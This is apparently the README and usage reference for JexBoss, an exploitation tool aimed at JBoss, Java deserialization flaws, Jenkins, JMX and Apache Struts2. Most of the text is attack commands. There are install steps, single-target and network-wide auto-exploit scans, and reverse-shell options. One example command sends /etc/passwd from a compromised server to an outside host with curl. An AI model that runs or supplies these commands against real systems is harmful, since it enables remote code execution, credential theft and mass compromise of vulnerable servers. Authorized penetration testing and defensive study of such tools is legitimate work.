JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.
To install the latest version of JexBoss, please use the following commands:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
OR:
Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
If you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
If you are using Windows, you can use the Git Bash to run the JexBoss. Follow the steps below:
- Download and install Python
- Download and install Git for Windows
- After installing, run the Git for Windows and type the following commands:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
The tool and exploits were developed and tested for:
- JBoss Application Server versions: 3, 4, 5 and 6.
- Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)
The exploitation vectors are:
- /admin-console
- tested and working in JBoss versions 5 and 6
- /jmx-console
- tested and working in JBoss versions 4, 5 and 6
- /web-console/Invoker
- tested and working in JBoss versions 4, 5 and 6
- /invoker/JMXInvokerServlet
- tested and working in JBoss versions 4, 5 and 6
- Application Deserialization
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
- Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
- Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
- Others
- Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss
- Exploiting JBoss Application Server with JexBoss
- Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)
- Simple usage examples:
$ python jexboss.py
- Example of standalone mode against JBoss:
$ python jexboss.py -u http://192.168.0.26:8080
- Usage modes:
$ python jexboss.py -h
- Network scan mode:
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt
- Network scan with auto-exploit mode:
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt
- Results and recommendations:
After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:
jexremote=YOUR_IP:YOUR_PORT
Example:
Shell>jexremote=192.168.0.10:4444
- Example:
When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.
- For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
- For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
- For Java Deserialization Vulnerabilities in a Servlet (like Invoker):
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
- For Apache Struts 2 (CVE-2017-5638)
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
- For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
- Auto scan mode:
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
- File scan mode:
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
- More Options:
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
--auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE
PERMISSION!!!)
--disable-check-updates, -D
Disable two updates checks: 1) Check for updates
performed by the webshell in exploited server at
http://webshell.jexboss.net/jsp_version.txt and 2)
check for updates performed by the jexboss client at
http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
Operation mode (DEFAULT: standalone)
--app-unserialize, -j
Check for java unserialization vulnerabilities in HTTP
parameters (eg. javax.faces.ViewState, oldFormData,
etc)
--servlet-unserialize, -l
Check for java unserialization vulnerabilities in
Servlets (like Invoker interfaces)
--jboss Check only for JBOSS vectors.
--jenkins Check only for Jenkins CLI vector.
--jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat
(CVE-2016-8735 and CVE-2016-8735). OBS: Will not be
checked by default.
--proxy PROXY, -P PROXY
Use a http proxy to connect to the target URL (eg. -P
http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
Proxy authentication credentials (eg -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
JBoss login and password for exploit admin-console in
JBoss 5 and JBoss 6 (default: admin:admin)
--timeout TIMEOUT Seconds to wait before timeout connection (default 3)
Standalone mode:
-host HOST, -u HOST Host address to be checked (eg. -u
http://192.168.0.10:8080)
Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
Remote host address and port for reverse shell when
exploiting Java Deserialization Vulnerabilities in
application layer (for now, working only against *nix
systems)(eg. 192.168.0.10:1331)
--cmd CMD, -x CMD Send specific command to run on target (eg. curl -d
@/etc/passwd http://your_server)
--windows, -w Specifies that the commands are for rWINDOWS System$
(cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
Specify the parameter to find and inject serialized
objects into it. (egs. -H javax.faces.ViewState or -H
oldFormData (<- Hi PayPal =X) or others) (DEFAULT:
javax.faces.ViewState)
--show-payload, -t Print the generated payload.
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
Specify the type of Gadget to generate the payload
automatically. (DEFAULT: commons-collections3.1 or
groovy1 for JenKins)
--load-gadget FILENAME
Provide your own gadget from file (a java serialized
object in RAW mode)
--force, -F Force send java serialized gadgets to URL informed in
-u parameter. This will send the payload in multiple
formats (eg. RAW, GZIPED and BASE64) and with
different Content-Types.
Auto scan mode:
-network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8)
-ports PORTS List of ports separated by commas to be checked for
each host (eg. 8080,8443,8888,80,443)
-results FILENAME File name to store the auto scan results
File scan mode:
-file FILENAME_HOSTS Filename with host list to be scanned (one host per
line)
-out FILENAME_RESULTS
File name to store the file scan results